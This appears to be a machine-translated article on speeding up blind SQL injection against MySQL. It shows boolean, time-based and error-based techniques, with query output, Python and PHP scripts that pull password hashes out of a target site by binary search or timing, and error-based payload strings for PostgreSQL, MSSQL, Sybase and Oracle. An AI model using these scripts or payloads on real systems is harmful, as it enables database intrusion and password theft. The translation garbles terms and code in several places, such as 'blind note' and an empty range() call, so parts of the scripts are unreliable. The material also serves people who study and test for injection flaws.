Preface:
This article mainly describes some techniques to speed up blind injection and some exquisite statements in blind injection, although injection is not a new technology. However, database injection vulnerabilities still plague every security vendor and spur every security practitioner to keep moving forward.
Body:
First, we will give a brief introduction to blind note. Blind note cannot be used to obtain database data through direct display. In blind injection, attackers can determine information based on the differences on the returned page (either the page content or the response time ). Generally, blind injection can be divided into three types.
BooleanbaseTimebaseErrorbase
Among them, the first type of Boolean is the common blind note that we are most often exposed.
For example, in the where statement, we can construct or 1 = 1 to make the returned page different. (Here we will use mysql to demonstrate how it works)
mysql> select 123 from dual where 1=1;+-----+| 123 |+-----+| 123 |+-----+1 row in set (0.00 sec)mysql> select 123 from dual where 1=0;Empty set (0.00 sec)
If the injection point is behind order by, you can use a judgment statement to construct an error. (In fact, the injection after order by can also be determined based on the returned result order. Here we can play it freely: P)
mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;+---+| 1 |+---+| 1 || 1 || 1 |+---+3 rows in set (0.00 sec)mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;ERROR 1242 (21000): Subquery returns more than 1 row
For time-based blind injection, mysql mainly involves two functions. sleep banchmark is basically used as follows.
mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;Empty set (27.00 sec)mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;+---+| 1 |+---+| 1 |+---+1 row in set (0.00 sec)
The website must display the database error information based on the error-reporting blind injection, which will be described in detail later.
Once you know how to judge true or false, you get the data. Of course, you can test every ascii code, but this requires many attempts, if your home has a bad network speed, the speed will be very slow.
Take the 32-bit hash as an example. For brute-force guesses, 16*32 = 512 queries are required (because hash is generally in hexadecimal format, and there are only 16 possibilities ). What if it is a 32-bit string containing uppercase/lowercase letters and special characters? It takes about 72*32 = 2304 queries, which is more. To reduce the number of blind note queries, the following methods are generally used.
Word Frequency Statistics:
Based on the frequency of occurrence of English letters, this method is only applicable to strings that are meaningful such as user names and cannot be applied to irregular strings such as hash. It is also limited to letters-only guesses. Wikipedia provides statistics on the Usage Frequency of letters.
Then, according to the word frequency statistics, e has the highest probability of appearance, followed by a. Then we will guess e first and then. Further, we can use double-Word Frequency to further improve efficiency. For example, the probability of th appearing in English is very high. So after the first letter is t, we guess h for the next character.
Ps. How efficient is this method? You can only look at your face.
Binary Search, bit operation method:
Put the two of them together because they share the same role and reduce the number of test strings to log (n) * length (n is the number of possible characters ).
First, binary search is used to view possible characters as an ordered sequence. In this way, the elements to be searched are first compared with the elements in the sequence, if the value is greater than this element, you can continue searching in the second half of the current sequence. If the value is smaller than this element, you can continue searching in the first half of the current sequence until the same element is found, or the search sequence range is null.
Use the return query to determine the one-digit hash. Only four queries (2 ^ 4 = 16) are required. That is to say, to determine a 32-bit hash, only 126 requests are required, this greatly reduces the number of queries.
Here is a binary search of pyhton source code.
Import urllib import urllib2 def doinject (payload): url = 'xxxxxxxxxxxxxxxxxxxxxx' values = {'injection ': payload, 'inobject': 'inobject'} data = urllib. urlencode (values) # print data req = urllib2.Request (url, data) req. add_header ('cookie ', 'xx = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx') response = urllib2.urlopen (req) the_page = response. read () if (the_page.find ("Welcome back")> 0): return True else: return False wordlist = "0123456789 ABCDEF" res = "" for I in range ): s = 0 t = 15 while (s <t): if (t-s = 1): if doinject ('\' or substring (password, '+ str (I) + ', 1) = \ ''+ wordlist [t] +' \ '-- lanlan'): m = t break else: m = s break m = (s + t) /2 if doinject ('\' or substring (password, '+ str (I) +', 1)> \ ''+ wordlist [m] + '\' -- lanlan'): s = m + 1 print wordlist [s] +": "+ wordlist [t] else: t = m print wordlist [s] + ": "+ wordlist [t] res = res + wordlist [m] print res here we also use regular expressions to perform binary search in php $ sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx '; $ sPost = 'inject = inject & injection = '; $ sCharset = 'abcdef0123456789';/* for every character */for ($ I = 0, $ hash = ''; $ I <32; ++ $ I) {$ ch = $ sCharset; do {$ substring = substr ($ ch, 0, intval (strlen ($ ch) /2); $ ch2 = substr ($ ch, intval (strlen ($ ch)/2); $ p = $ sPost. 'absolutelyimpossible \ 'OR 1 = (SELECT 1 FROM blight WHERE password REGEXP \' ^ '. $ hash. '['. $ ch1. '] \' AND sessid = xxx) AND \ '1 \ '= \ '1'; $ res = libHTTP: POST ($ sUrl, $ p ); if (strpos ($ res ['content'], 'Your password is wrong ') === false) $ ch = $ scheme; else $ ch = $ ch2 ;} while (strlen ($ ch)> 1); $ hash. = $ ch; echo "\ rhash :". $ hash ;}
Ps: The above code is for 32-bit hash blind injection.
Besides bitwise operations, the principle is that each request determines a binary bit. the time complexity of the consecutive ascii code interval is log (n) * length, so compared with binary search, it has limitations in application.
Mysql's median operation and operation is &. We mainly use it for speculation. For example, if the ascii code of a is 1100001, we can use 1, 2, 4, 8, 16 ..... Perform operations with him in sequence and finally get the result.
mysql> select ord('a') & 1;+--------------+| ord('a') & 1 |+--------------+| 1 |+--------------+1 row in set (0.00 sec)mysql> select ord('a') & 2;+--------------+| ord('a') & 2 |+--------------+| 0 |+--------------+1 row in set (0.00 sec)mysql> select ord('a') & 4;+--------------+| ord('a') & 4 |+--------------+| 0 |+--------------+1 row in set (0.00 sec)
Time-based blind note:
The above methods are used to obtain information by returning different pages. Therefore, theoretically, at most one binary bit (true or false) can be determined at a time ). However, an important factor in the blind injection process can help us obtain information, that is, the length of time the page returns. Using the following statement, we can determine the ascii code of a single character through a request. If it is a 32-bit hash, you only need 32 requests to get the answer.
' or sleep(ord(substr(password,1,1))) --
Statements can be written as follows:
mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));1 row in set (6.00 sec)mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));1 row in set (11.00 sec)
We recommend that you use sleep instead of benchmark, because sleep does not occupy cpu and is relatively stable.
A 32-bit hash blind injection algorithm is provided below.
import urllibimport urllib2import socketfrom time import timesocket.setdefaulttimeout(1000000)def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx') start = time() response = urllib2.urlopen(req) end = time() #print response.read() index = int(end-start) print 'index:'+ str(index) print 'char:' + wordlist[index-1] return indexwordlist = "0123456789ABCDEF"res = ""for i in range(1,34): num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan') res = res+wordlist[num-1] print res
Note that sleep is calculated multiple times in the where statement. In actual application, you need to handle the number of records in the table.
For example, a table with two records
select count(*) from test; +----------+ | count(*) | +----------+ | 2 | +----------+
If the query is performed directly, because both records will cause query, the sleep () delay is triggered for two times for 12 seconds.
select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));Empty set (12.00 sec)
Here, we use a conditional statement. If the expression prior to "and" is false, the statement is not executed. Therefore, sleep is executed once with a delay of 6 seconds.
select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));Empty set (6.00 sec)
Ps. This method is afraid of network instability.
Error-based blind note:
If the error message of the data is displayed on the page, you can directly use the error method to pop up the desired information.
For example, in mysql, we can use the following classic statement to report an error.
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
This is a widely spread version on the Internet and can be simplified as follows.
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
This form can be used if key tables are disabled.
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
If rand is disabled, you can use user variables to report errors.
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
In fact, this is caused by a bug in mysql, and other databases will not report errors due to this problem.
In addition, you can add two new xml functions in MySQL to report errors.
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));ERROR 1105 (HY000): XPATH syntax error: '\admin888' mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
In other databases, different methods can also be used to report errors.
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
References:
METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION
Indexed Blind SQL Injection: http://www.bkjia.com/Article/201110/109430.html